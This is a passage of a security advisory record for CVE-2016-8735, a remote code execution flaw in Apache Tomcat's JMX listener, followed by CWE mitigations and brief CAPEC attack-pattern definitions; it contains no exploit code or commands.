"fixed": "9.0.0.M12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-8735"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-08T21:59:04Z",
"nvd_published_at": "2017-04-06T21:59:00Z",
"severity": "CRITICAL"
},
"details": "Remote code execution is possible with Apache Tomcat before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 if JmxRemoteLifecycleListener is used and an attacker can reach JMX ports. \nThe issue exists because this listener wasn\u0027t updated for consistency with the CVE-2016-3427 Oracle patch that affected credential types.",
"id": "GHSA-cw54-59pw-4g8c",
"modified": "2025-10-22T17:32:56Z",
"published": "2022-05-13T01:14:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8735"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/0e83ad3e547fc9a75a258799ef581249b40a82a6"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/292d6ccdc9edbf80859929b0af070b2ea99fa688"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/7e3a037055cca4a17e90b49399fb1bab4dd7c821"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat80/commit/0f76016a4ec45635e450ada9c84ff7ee0c5f3799"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b84ad1258a89de5c9c853c7f2d3ad77e5b8b2930be9e132d5cef6b95%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b84ad1258a89de5c9c853c7f2d3ad77e5b8b2930be9e132d5cef6b95@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b8a1bf18155b552dcf9a928ba808cbadad84c236d85eab3033662cfb%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b8a1bf18155b552dcf9a928ba808cbadad84c236d85eab3033662cfb@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r03c597a64de790ba42c167efacfa23300c3d6c9fe589ab87fe02859c%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r03c597a64de790ba42c167efacfa23300c3d6c9fe589ab87fe02859c@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r587e50b86c1a96ee301f751d50294072d142fd6dc08a8987ae9f3a9b%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r587e50b86c1a96ee301f751d50294072d142fd6dc08a8987ae9f3a9b@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20180607-0001"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4557-1"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170423095340/http://www.securityfocus.com/bid/94463"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170928203901/http://www.securitytracker.com/id/1037331"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-8735"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:0455"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:0456"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://github.com/search?q=repo%3Aapache%2Ftomcat+catalina.mbeans+path%3A%2F%5Eres%5C%2Fbnd%5C%2F%2F\u0026type=code"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/37220405a377c0182d2afdbc36461c4783b2930fbeae3a17f1333113%40%3Cdev.tomcat.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/37220405a377c0182d2afdbc36461c4783b2930fbeae3a17f1333113@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/388a323769f1dff84c9ec905455aa73fbcb20338e3c7eb131457f708%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/388a323769f1dff84c9ec905455aa73fbcb20338e3c7eb131457f708@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/39ae1f0bd5867c15755a6f959b271ade1aea04ccdc3b2e639dcd903b%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/39ae1f0bd5867c15755a6f959b271ade1aea04ccdc3b2e639dcd903b@%3Cdev.tomcat.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/3d19773b4cf0377db62d1e9328bf9160bf1819f04f988315086931d7%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3d19773b4cf0377db62d1e9328bf9160bf1819f04f988315086931d7@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6af47120905aa7d8fe12f42e8ff2284fb338ba141d3b77b8c7cb61b3%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6af47120905aa7d8fe12f42e8ff2284fb338ba141d3b77b8c7cb61b3@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/845312a10aabbe2c499fca94003881d2c79fc993d85f34c1f5c77424%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/845312a10aabbe2c499fca94003881d2c79fc993d85f34c1f5c77424@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a%40%3Cdev.tomcat.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2017-0457.html"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2016/q4/502"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1767644"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1767656"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1767676"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1767684"
},
{
"type": "WEB",
"url": "http://tomcat.apache.org/security-6.html"
},
{
"type": "WEB",
"url": "http://tomcat.apache.org/security-7.html"
},
{
"type": "WEB",
"url": "http://tomcat.apache.org/security-8.html"
},
{
"type": "WEB",
"url": "http://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2016/dsa-3738"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94463"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037331"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Tomcat Improper Access Control vulnerability"
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.